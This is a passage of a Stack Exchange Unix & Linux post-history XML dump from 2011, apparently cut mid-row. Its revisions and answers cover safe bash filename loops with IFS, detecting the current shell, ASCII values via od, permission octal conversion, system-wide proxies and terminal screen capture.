&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;Also, it's probably better to use `find | while read file` rather than ```for file in `find` ``` .  This ensures that if find returns a very large number of file names, the shell doesn't have any problems processing it.  A `find | while read file` loop would look like this:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; | while IFS=$'\n' read -r file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         # NOTE &quot;read char&quot; removed&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Finally, just for completeness, here's a version that also works if file names also contain newlines:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while read -r -d $'\0' file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;If you are not using `bash`, you might need to change&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;in the above examples to&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;(single quote, Enter, single quote, meaning `IFS=&lt;newline&gt;`)&#xD;&#xA;&#xD;&#xA;Also, I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed." />
  <row Id="22608" PostHistoryTypeId="6" PostId="9496" RevisionGUID="0f4223a1-aaed-4f52-a82f-06a9d96d27cf" CreationDate="2011-03-18T01:04:42.307" UserId="3169" Comment="add some tags" Text="ébashàéscriptingàéwordösplittingàéifsà" />
  <row Id="22609" PostHistoryTypeId="2" PostId="9501" RevisionGUID="c354fb62-1af8-42cf-9837-ac958fd8c056" CreationDate="2011-03-18T02:00:15.697" UserId="5837" Text="how to test what shell I am using in terminal?&#xD;&#xA;and, what is the shell I am using in MacOS?&#xD;&#xA;Thanks." />
  <row Id="22610" PostHistoryTypeId="1" PostId="9501" RevisionGUID="c354fb62-1af8-42cf-9837-ac958fd8c056" CreationDate="2011-03-18T02:00:15.697" UserId="5837" Text="how to test what shell I am using in terminal?" />
  <row Id="22611" PostHistoryTypeId="3" PostId="9501" RevisionGUID="c354fb62-1af8-42cf-9837-ac958fd8c056" CreationDate="2011-03-18T02:00:15.697" UserId="5837" Text="éshellà" />
  <row Id="22612" PostHistoryTypeId="5" PostId="9501" RevisionGUID="5b21eedf-8c21-4146-bd83-96a25ba2e22a" CreationDate="2011-03-18T02:09:03.107" UserId="73" Comment="deleted 12 characters in body; edited title" Text="How to check what shell I am using in a terminal? What is the shell I am using in MacOS?" />
  <row Id="22613" PostHistoryTypeId="4" PostId="9501" RevisionGUID="5b21eedf-8c21-4146-bd83-96a25ba2e22a" CreationDate="2011-03-18T02:09:03.107" UserId="73" Comment="deleted 12 characters in body; edited title" Text="How to test what shell I am using in a terminal?" />
  <row Id="22614" PostHistoryTypeId="2" PostId="9502" RevisionGUID="cb4d5704-7ac2-41a9-92ed-2578e8b0d8f9" CreationDate="2011-03-18T02:10:43.290" UserId="5836" Text="Can any one help me why my code doesn't work?&#xD;&#xA;&#xD;&#xA;a) Write a shell script which asks for an ASCII character in the range A-Z or a-z and returns its equivalent numerical value. For example, the output might look like the following:&#xD;&#xA; &#xD;&#xA;scarlet$ Please type a character between A and Z or between a and z:&#xD;&#xA;scarlet$ A       &#xD;&#xA;scarlet$ The decimal value of A is: 65 &#xD;&#xA;----------------------------------------------------------&#xD;&#xA;My Answer:&#xD;&#xA;&#xD;&#xA;#!/bin/bash&#xD;&#xA;echo Enter a letter:&#xD;&#xA;read A&#xD;&#xA;echo -n ${A} | od -i | head -1 | cut -b 10- | tr -d &quot; &quot;&#xD;&#xA;___________________________________________________________&#xD;&#xA;&#xD;&#xA;please help me in this question too.&#xD;&#xA;&#xD;&#xA;b)   Write a shell script which searches the current UNIX directory and returns the names of all files of type ASCII text. &#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="22615" PostHistoryTypeId="1" PostId="9502" RevisionGUID="cb4d5704-7ac2-41a9-92ed-2578e8b0d8f9" CreationDate="2011-03-18T02:10:43.290" UserId="5836" Text="My Unix code doesn't work." />
  <row Id="22616" PostHistoryTypeId="3" PostId="9502" RevisionGUID="cb4d5704-7ac2-41a9-92ed-2578e8b0d8f9" CreationDate="2011-03-18T02:10:43.290" UserId="5836" Text="éscriptingàétextöprocessingàépartitionà" />
  <row Id="22618" PostHistoryTypeId="2" PostId="9504" RevisionGUID="61c96a2b-993a-49c9-ac08-8ffc072a8766" CreationDate="2011-03-18T02:12:44.780" UserId="5325" Text="Several ways, from most to least reliable (and most-to-least &quot;heavy&quot;):&#xD;&#xA;&#xD;&#xA;1. `ps -p$$ -ocmd=`.  (On Solaris, this may need to be `fname` instead of `cmd`.)&#xD;&#xA;2. Check for `$BASH_VERSION`, `$ZSH_VERSION`, and other shell-specific variables.&#xD;&#xA;3. Check `$SHELL`; this is a last resort, as it specifies your *default* shell and not necessarily the *current* shell.&#xD;&#xA;" />
  <row Id="22619" PostHistoryTypeId="5" PostId="9502" RevisionGUID="fac83232-d5d0-4bdf-a85f-e34a6b28610b" CreationDate="2011-03-18T02:18:54.143" UserId="73" Comment="deleted 239 characters in body" Text="I'm trying to write a shell script which asks for an ASCII character in the range A-Z or a-z and returns its equivalent numerical value. For example, the output might look like the following:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    scarlet$ Please type a character between A and Z or between a and z:&#xD;&#xA;    scarlet$ A       &#xD;&#xA;    scarlet$ The decimal value of A is: 65 &#xD;&#xA;&#xD;&#xA;----------------------------------------------------------&#xD;&#xA;&#xD;&#xA;My attempt:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    echo Enter a letter:&#xD;&#xA;    read A&#xD;&#xA;    echo -n ${A} | od -i | head -1 | cut -b 10- | tr -d &quot; &quot;&#xD;&#xA;" />
  <row Id="22620" PostHistoryTypeId="5" PostId="9499" RevisionGUID="8e56d7a8-308f-4b7e-b042-350ce5d9b00b" CreationDate="2011-03-18T02:24:05.250" UserId="3169" Comment="try to explain reason for quoting $file better; added 103 characters in body" Text="**Short answer**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have two problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now.  Then it starts again to get the next file name, and does that until it hits the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;In the bit where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;The man page doesn't make this very clear, but this time it only does [filename expansion][1], which means we don't have to worry about spaces and IFS, but we do have to worry about the file name containing wildcard characters like `*` and `?`.&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g. `&quot;$file&quot;`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, just for completeness, here's a version that also works if file names also contain newlines:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while read -r -d $'\0' file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion" />
  <row Id="22621" PostHistoryTypeId="25" PostId="9501" RevisionGUID="a27154e5-5c48-4d48-9df0-746979a94355" CreationDate="2011-03-18T02:31:20.497" Comment="http://twitter.com/#!/StackUnix/status/48572161723604992" />
  <row Id="22622" PostHistoryTypeId="5" PostId="9499" RevisionGUID="3c417fee-3fd5-4040-b9c9-ecaf03f479f3" CreationDate="2011-03-18T02:33:40.713" UserId="3169" Comment="fix word splitting error; edited body; added 49 characters in body" Text="**Short answer**&#xD;&#xA;&#xD;&#xA;    OIFS=&quot;$IFS&quot;&#xD;&#xA;    IFS=$'\n' &#xD;&#xA;    for file in `find . -name &quot;*.csv&quot;`  &#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;         read char&#xD;&#xA;    done&#xD;&#xA;    IFS=&quot;$OIFS&quot;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Long answer**&#xD;&#xA;&#xD;&#xA;You have two problems:&#xD;&#xA;&#xD;&#xA;1. By default, the shell splits the output of a command on spaces, tabs, and newlines&#xD;&#xA;2. Filenames could contain wildcard characters which would get expanded&#xD;&#xA;&#xD;&#xA;**1. Splitting only on newlines**&#xD;&#xA;&#xD;&#xA;To figure out what to set `file` to, the shell has to take the output of `find` and interpret it somehow, otherwise `file` would just be the entire output of `find`.&#xD;&#xA;&#xD;&#xA;The shell reads the `IFS` variable, which is which is set to `&lt;space&gt;&lt;tab&gt;&lt;newline&gt;` by default.&#xD;&#xA;&#xD;&#xA;Then it looks at each character in the output of `find`.  As soon as it sees any character that's in `IFS`, it thinks that marks the end of the file name, so it sets `file` to whatever characters it saw until now and runs the loop.  Then it starts where it left off to get the next file name, and runs the next loop, etc., until it reaches the end of output.&#xD;&#xA;&#xD;&#xA;So it's effectively doing this:&#xD;&#xA;&#xD;&#xA;    for file in &quot;zquery&quot; &quot;-&quot; &quot;abc&quot; ...&#xD;&#xA;&#xD;&#xA;To tell it to only split the input on newlines, you need to do&#xD;&#xA;&#xD;&#xA;    IFS=$'\n'&#xD;&#xA;&#xD;&#xA;before your `for ... find` command.&#xD;&#xA;&#xD;&#xA;That sets `IFS` to a single newline, so it only splits on newlines, and not spaces and tabs as well.&#xD;&#xA;&#xD;&#xA;If you are using `sh` or `dash` instead of `bash` or `zsh`, you need to write `IFS=$'\n'` like this instead:&#xD;&#xA;&#xD;&#xA;    IFS='&#xD;&#xA;    '&#xD;&#xA;&#xD;&#xA;**2. Expanding `$file` without wildcards**&#xD;&#xA;&#xD;&#xA;In the bit where you do&#xD;&#xA;&#xD;&#xA;    diff $file /some/other/path/$file&#xD;&#xA;&#xD;&#xA;the shell tries to expand `$file` (again!).&#xD;&#xA;&#xD;&#xA;It could contain spaces, but since we already set `IFS` above, that won't be a problem here.&#xD;&#xA;&#xD;&#xA;But it could also contain wildcard characters such as `*` or `?`, which would lead to unpredictable behavior.  (Thanks to Gilles for pointing this out.)&#xD;&#xA;&#xD;&#xA;To tell the shell not to expand wildcard characters, put the variable inside double quotes, e.g. `&quot;$file&quot;`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Finally, just for completeness, here's a version that also works if file names also contain newlines:&#xD;&#xA;&#xD;&#xA;    find . -name &quot;*.csv&quot; -print0 | while read -r -d $'\0' file&#xD;&#xA;    do&#xD;&#xA;         echo &quot;file = $file&quot;&#xD;&#xA;         diff &quot;$file&quot; &quot;/some/other/path/$file&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**NOTES**&#xD;&#xA;&#xD;&#xA;I removed the semi-colons (`;`) inside the loop.  You can put them back if you want, but they are not needed.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Filename-Expansion" />
  <row Id="22623" PostHistoryTypeId="2" PostId="9505" RevisionGUID="c71ba4e2-306d-4b0e-9ef7-9f0c99d74fa8" CreationDate="2011-03-18T02:45:43.400" UserId="3169" Text="Try `od -t d1` if you have it.  The other output formats are quite weird.&#xD;&#xA;&#xD;&#xA;You also don't need head and cut, for example:&#xD;&#xA;&#xD;&#xA;    printf &quot;A&quot; | od -t d1 | read addr num &amp;&amp; echo $num&#xD;&#xA;" />
  <row Id="22624" PostHistoryTypeId="2" PostId="9506" RevisionGUID="a07a9e40-1f7c-4750-8f5d-475f0177449c" CreationDate="2011-03-18T02:57:14.587" UserId="5838" Text="I've been wondering about this for a while and my usual resources don't seem to really know.&#xD;&#xA;&#xD;&#xA;The base question is; which 3D card performs the best on Linux (any distro)?&#xD;&#xA;&#xD;&#xA;But of course, the question is really two-fold;&#xD;&#xA;&#xD;&#xA;1) What's the best bet, performance-wise, if I insist on using strictly open-source drivers with no closed firmware or anything of the sort?&#xD;&#xA;&#xD;&#xA;2) If the best performance can only be acquired with closed-source drivers or/or closed firmware, what's the best bet?&#xD;&#xA;" />
  <row Id="22625" PostHistoryTypeId="1" PostId="9506" RevisionGUID="a07a9e40-1f7c-4750-8f5d-475f0177449c" CreationDate="2011-03-18T02:57:14.587" UserId="5838" Text="What graphics card is &quot;best&quot; in 3D on Linux?" />
  <row Id="22626" PostHistoryTypeId="3" PostId="9506" RevisionGUID="a07a9e40-1f7c-4750-8f5d-475f0177449c" CreationDate="2011-03-18T02:57:14.587" UserId="5838" Text="égraphicsà" />
  <row Id="22627" PostHistoryTypeId="2" PostId="9507" RevisionGUID="ea9023ce-5525-4337-a914-97e480f14f22" CreationDate="2011-03-18T03:06:36.003" UserId="5785" Text="Maybe:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    echo -n &quot;Enter a letter:&quot;&#xD;&#xA;    read A&#xD;&#xA;    echo ${A}|od -t d1|nawk '{printf &quot;%s&quot;,$2}';echo&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22628" PostHistoryTypeId="6" PostId="9502" RevisionGUID="d8a4261f-256e-4b84-8f2c-64c91431d2f2" CreationDate="2011-03-18T03:06:57.427" UserId="3169" Comment="edited tags; edited title" Text="éscriptingàétextöprocessingàéodàéordà" />
  <row Id="22629" PostHistoryTypeId="4" PostId="9502" RevisionGUID="d8a4261f-256e-4b84-8f2c-64c91431d2f2" CreationDate="2011-03-18T03:06:57.427" UserId="3169" Comment="edited tags; edited title" Text="get numeric ASCII value for a character" />
  <row Id="22630" PostHistoryTypeId="2" PostId="9508" RevisionGUID="7551eca4-2aff-4d6d-9d24-16391e57aa08" CreationDate="2011-03-18T05:06:23.877" UserId="1049" Text="Is there a kernel module or some other patch or something similar to Windows' [ReadyBoost](http://en.wikipedia.org/wiki/ReadyBoost)?&#xD;&#xA;&#xD;&#xA;Basically I'm looking for something that allows disk reads to be cached on a Flash drive." />
  <row Id="22631" PostHistoryTypeId="1" PostId="9508" RevisionGUID="7551eca4-2aff-4d6d-9d24-16391e57aa08" CreationDate="2011-03-18T05:06:23.877" UserId="1049" Text="Linux equivalent to ReadyBoost?" />
  <row Id="22632" PostHistoryTypeId="3" PostId="9508" RevisionGUID="7551eca4-2aff-4d6d-9d24-16391e57aa08" CreationDate="2011-03-18T05:06:23.877" UserId="1049" Text="éwindowsàékernelömodulesà" />
  <row Id="22633" PostHistoryTypeId="2" PostId="9509" RevisionGUID="a7b31eb3-9fa0-47a2-8226-8aabb7c44cf4" CreationDate="2011-03-18T05:27:10.217" UserId="2076" Text="I can never remember what the conversion is from something like `rw-r--r--` to `644`. Is there a simple web based converter between the 2?" />
  <row Id="22634" PostHistoryTypeId="1" PostId="9509" RevisionGUID="a7b31eb3-9fa0-47a2-8226-8aabb7c44cf4" CreationDate="2011-03-18T05:27:10.217" UserId="2076" Text="Is there a web based converter between rwx and the octal version?" />
  <row Id="22635" PostHistoryTypeId="3" PostId="9509" RevisionGUID="a7b31eb3-9fa0-47a2-8226-8aabb7c44cf4" CreationDate="2011-03-18T05:27:10.217" UserId="2076" Text="épermissionsàéchmodà" />
  <row Id="22636" PostHistoryTypeId="25" PostId="9496" RevisionGUID="a865b446-e0b8-42f5-9b4a-4d361d47de0a" CreationDate="2011-03-18T05:31:20.763" Comment="http://twitter.com/#!/StackUnix/status/48617461456711680" />
  <row Id="22637" PostHistoryTypeId="2" PostId="9510" RevisionGUID="a2e0ed37-7baa-4728-bd04-899339d4f5d6" CreationDate="2011-03-18T05:38:54.243" UserId="5325" Text="Linux has cachefs, which allows you to add a backing cache filesystem to any filesystem.  It was originally designed and released in 1993 by Sun Microsystems for use with NFS, and was quickly copied by other Unix-like systems.  So yes, it's already there and has been for years.  :)" />
  <row Id="22638" PostHistoryTypeId="2" PostId="9511" RevisionGUID="8ae604a3-a7f0-4d27-829b-ebd1191a3aa5" CreationDate="2011-03-18T05:44:55.737" UserId="5447" Text="http://permissions-calculator.org/" />
  <row Id="22639" PostHistoryTypeId="2" PostId="9512" RevisionGUID="a4d907c5-eb54-4faa-9cf2-944bec27d446" CreationDate="2011-03-18T05:49:17.730" UserId="5447" Text="1) There is no way to answer this question. Which card has the best &quot;performance&quot; depends on what metric you're using, which application you are using/profiling, and a variety of other factors.&#xD;&#xA;&#xD;&#xA;2) No, closed source drivers do not necessarily perform better than open drivers. Sometimes they do, sometime they don't.&#xD;&#xA;&#xD;&#xA;Your questions are too vague and general to answer." />
  <row Id="22640" PostHistoryTypeId="2" PostId="9513" RevisionGUID="27543300-49ee-4e0d-932d-b29c74237c04" CreationDate="2011-03-18T06:00:14.260" UserId="5447" Text="You might want to check out the following bugs for possible explanations:&#xD;&#xA;&#xD;&#xA;* https://bugzilla.redhat.com/show_bug.cgi?id=608900&#xD;&#xA;&#xD;&#xA;* https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/35223&#xD;&#xA;&#xD;&#xA;* https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/464577&#xD;&#xA;&#xD;&#xA;It seems that your problem is likely being caused either by gdm or by a bug in gnome-power-manager. If it's the former, then the last bug above points to a [discussion that contains a possible solution][1] (see the [post by swmail][2]), however, I don't know if it will work in your case (let us know what happens, and we'll work from there ...).&#xD;&#xA;&#xD;&#xA;If it's gnome-power-manager causing the problem, it seems that the bug still hasn't been fixed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?p=9259920&#xD;&#xA;  [2]: http://ubuntuforums.org/showpost.php?p=9234384&amp;postcount=5" />
  <row Id="22641" PostHistoryTypeId="2" PostId="9514" RevisionGUID="baa49457-2850-43b2-a073-c4b7a4fd5dcd" CreationDate="2011-03-18T06:09:14.113" UserId="2421" Text="Octal is used for permissions because it's an _easy_ conversion.  Each group of `rwx` forms one octal digit.  All you have to remember is the first 3 powers of 2:  4, 2, 1.  `r` = 4, `w` = 2, `x` = 1.&#xD;&#xA;&#xD;&#xA;`rw-r--r--` = `110 100 100` = `4+2+0 4+0+0 4+0+0` = `644`" />
  <row Id="22642" PostHistoryTypeId="10" PostId="9506" RevisionGUID="a4dbde49-0072-4210-a8b6-e935e6034de0" CreationDate="2011-03-18T06:16:52.113" UserId="73" CloseReasonId="3" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="22643" PostHistoryTypeId="2" PostId="9515" RevisionGUID="22296c2f-8fd9-4e5e-9e80-f91bd1c85abe" CreationDate="2011-03-18T06:46:45.523" UserId="5447" Text="I'm not sure if this will help, but I found this post:&#xD;&#xA;&#xD;&#xA;* http://swinky-linuxblog.blogspot.com/2008/10/xvinfo-no-adaptors-present-and-curious.html&#xD;&#xA;&#xD;&#xA;Where the author seems to have fixed the problem, and several of the commenters claim it fixed it for them as well." />
  <row Id="22644" PostHistoryTypeId="2" PostId="9516" RevisionGUID="d636e993-0d0c-470b-8335-c20684df1ff5" CreationDate="2011-03-18T07:11:43.327" UserId="4485" Text="A od-less solution, just bash, and just lowercase, so far. `z` is the character searched for, here `s` as search. `i=97` because ascii(a)=97. The rest is obvious.&#xD;&#xA;    &#xD;&#xA;    z=s &#xD;&#xA;    i=97&#xD;&#xA;    for c in {a..z}&#xD;&#xA;    do &#xD;&#xA;        [ &quot;$c&quot; = &quot;$z&quot; ] &amp;&amp; echo $i &amp;&amp; break || ((i+=1))&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;You may put it into a single line of course. Here are some semmicolons: `;;;;;` (should be enough)" />
  <row Id="22645" PostHistoryTypeId="2" PostId="9517" RevisionGUID="420b4266-6871-446d-8fe8-aede7f5f077c" CreationDate="2011-03-18T07:27:34.867" UserId="688" Text="For GNOME applications, all I need to do is fire **`gnome-network-properties`**, a nice GUI for setting network proxy. For other non-GNOME apps (e.g. APT, Transmission, XChat), I have to use their specific ways of doing it.&#xD;&#xA;&#xD;&#xA;Is there a way to avoid this, something I can turn on and off when in a network that requires a proxy (hostname:port)?" />
  <row Id="22646" PostHistoryTypeId="1" PostId="9517" RevisionGUID="420b4266-6871-446d-8fe8-aede7f5f077c" CreationDate="2011-03-18T07:27:34.867" UserId="688" Text="Is there to set network proxy system-wide?" />
  <row Id="22647" PostHistoryTypeId="3" PostId="9517" RevisionGUID="420b4266-6871-446d-8fe8-aede7f5f077c" CreationDate="2011-03-18T07:27:34.867" UserId="688" Text="énetworkingàéhttpöproxyà" />
  <row Id="22648" PostHistoryTypeId="5" PostId="9517" RevisionGUID="72416694-f1e0-4bd3-aa3a-f8a0896f5684" CreationDate="2011-03-18T07:49:58.467" UserId="688" Comment="added 59 characters in body; edited title" Text="If I want to have GNOME applications (as well as Firefox and Chrome) access the network through a proxy, I need only use **`gnome-network-properties`** (a nice and simple GUI I must say). For other apps (e.g. APT, Transmission, XChat), I have to use their specific ways of doing it.&#xD;&#xA;&#xD;&#xA;Is there a way to avoid this, something I can turn on and off when in a network that requires a proxy (hostname:port)?" />
  <row Id="22649" PostHistoryTypeId="4" PostId="9517" RevisionGUID="72416694-f1e0-4bd3-aa3a-f8a0896f5684" CreationDate="2011-03-18T07:49:58.467" UserId="688" Comment="added 59 characters in body; edited title" Text="Is there a way to set network proxy system-wide?" />
  <row Id="22650" PostHistoryTypeId="2" PostId="9518" RevisionGUID="0f529e6e-679a-4d81-a19d-ecc892bffcb2" CreationDate="2011-03-18T07:50:56.497" UserId="3860" Text="I have this little alias that you can put in your .bashrc (or equivalent).&#xD;&#xA;&#xD;&#xA;DISCLAIMER: I am not the author of the script, and I'm not sure who wrote it... but props to him/her for doing this.&#xD;&#xA;&#xD;&#xA;    alias lsp = &quot;ls -l --color | &#xD;&#xA;          awk '{k=0; for(i=0;i&lt;=8;i++) k+=((substr(\$1,i+2,1)~/[rwx]/)*2^(8-i));&#xD;&#xA;          if (k) printf(\&quot; %0o \&quot;,k); print}'&quot;" />
  <row Id="22651" PostHistoryTypeId="2" PostId="9519" RevisionGUID="34ae61f5-b5b7-4f91-8029-c7b9be03dba2" CreationDate="2011-03-18T08:27:24.853" UserId="4949" Text="I think pretty much all linux/unix software that uses networking will honor the `http_proxy` and `ftp_proxy` environment variables. Depending on how your distribution is set up, `/etc/environment` will exist and be read by default by login shells.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can add a line saying&#xD;&#xA;&#xD;&#xA;`http_proxy=123.45.67.89:1011`&#xD;&#xA;&#xD;&#xA;in `/etc/environment` easily enough, but changes in that file will only take hold the next time you start a shell process -- and *only* in that shell process. I don't think you *can* modify global variables in a shell other than your current one." />
  <row Id="22652" PostHistoryTypeId="2" PostId="9520" RevisionGUID="57eb08ba-a07d-4f79-b97e-3ced3e673943" CreationDate="2011-03-18T08:31:04.777" UserId="3645" Text="I've got a few processes with a known name that all write to files in a single directory. I'd like to log the number of **disk reads and writes over a period** to test whether a parameter change reduces the amount of I/O significantly. I'm currently using `iostat -d -p`, but that is limited to the whole partition." />
  <row Id="22653" PostHistoryTypeId="1" PostId="9520" RevisionGUID="57eb08ba-a07d-4f79-b97e-3ced3e673943" CreationDate="2011-03-18T08:31:04.777" UserId="3645" Text="Monitor writes to directory" />
  <row Id="22654" PostHistoryTypeId="3" PostId="9520" RevisionGUID="57eb08ba-a07d-4f79-b97e-3ced3e673943" CreationDate="2011-03-18T08:31:04.777" UserId="3645" Text="émonitoringàédisköusageà" />
  <row Id="22655" PostHistoryTypeId="25" PostId="9509" RevisionGUID="327497c8-e9c2-44dc-a281-25fab3d5594b" CreationDate="2011-03-18T08:31:20.997" Comment="http://twitter.com/#!/StackUnix/status/48662761093341184" />
  <row Id="22656" PostHistoryTypeId="2" PostId="9521" RevisionGUID="8e2a69ef-a867-4d5e-a04d-730178a0fdaf" CreationDate="2011-03-18T08:48:39.017" UserId="4485" Text="A working draft for a traditional shell: &#xD;&#xA;&#xD;&#xA;    ttyid=$(readlink /proc/$$/fd/1)&#xD;&#xA;    \___/   \______/ \___/ |  |  |&#xD;&#xA;      |         |      |   |  |  \- 0: stdin &#xD;&#xA;      |         |      |   |  |     1: stdout &lt;- our interest&#xD;&#xA;      |         |      |   |  |     2: stderr&#xD;&#xA;      |         |      |   |  \- fd is, maybe, filedescriptor&#xD;&#xA;      |         |      |   |&#xD;&#xA;      |         |      |   \- $$ is the PID of the current process (shell,&#xD;&#xA;      |         |      |      in our case)&#xD;&#xA;      |         |      |&#xD;&#xA;      |         |      \- you know, much runtime stuff is here&#xD;&#xA;      |         |&#xD;&#xA;      |         \- readlink extracts the symbolic link of /proc/$$/fd/1&#xD;&#xA;      |            lrwx------ 1 stefan stefan 64 2011-03-18 09:11&#xD;&#xA;      |            /proc/22159/fd/1 -&gt; /dev/pts/4&#xD;&#xA;      |&#xD;&#xA;      \- /dev/tty3 for real shell, /dev/pts/3 for xterm&#xD;&#xA;&#xD;&#xA;Now we can cat the screen to a file. Needs sudo.&#xD;&#xA;&#xD;&#xA;    id=${ttyid//\/dev\/tty}&#xD;&#xA;    sudo cat /dev/vcs$id &gt; screen.dump&#xD;&#xA;&#xD;&#xA;Apropos screendump: so named program doesn't work for me any more. Maybe for older kernels only. /dev/pts/N didn't work for me too. Maybe you have to some optional MKDEV in /dev - I remember darkly about some `/dev/cuaN`, but I may be wrong. &#xD;&#xA;&#xD;&#xA;We would like to pipe the output instead of using screen.dump. But somehow it doesn't work - sometimes it waits for ENTER. &#xD;&#xA;&#xD;&#xA;The capturing isn't a normal textfile with linefeeds, but with - for example - 80x50 chars in one sequence. &#xD;&#xA;&#xD;&#xA;To pick the last 2 lines, 1 for the output of the command, and one for the prompting line, I revert it, pick 160 chars, revert again and pick 80. &#xD;&#xA;&#xD;&#xA;    rev vcs4.dat | sed 's/\(.\{160\}\).*/\1/g' | rev | sed 's/\(.\{80\}\).*/\1/g'&#xD;&#xA;&#xD;&#xA;Just in case you ever wondered, why there is a `rev` program. &#xD;&#xA;&#xD;&#xA;Critique: &#xD;&#xA;&#xD;&#xA; - The first commands are entered, thus moving the line ahed. Well - just a numerical excercise to pick the 3rd-last line or something. I worked mainly in a different window.&#xD;&#xA; - Not everybody has a 80x50 screen. Well, yes, we know. There is $COLUMNS and $ROWS for your pleasure. &#xD;&#xA; - The output is not allways at the bottom. A fresh and young shell might be in the upper rows. Well - simple as that: Evaluate what shell is running. Which prompt is used. Do some prompt detection and find the last line with a shell-prompt. The line before (or 2. before) should contain the directory.&#xD;&#xA;" />
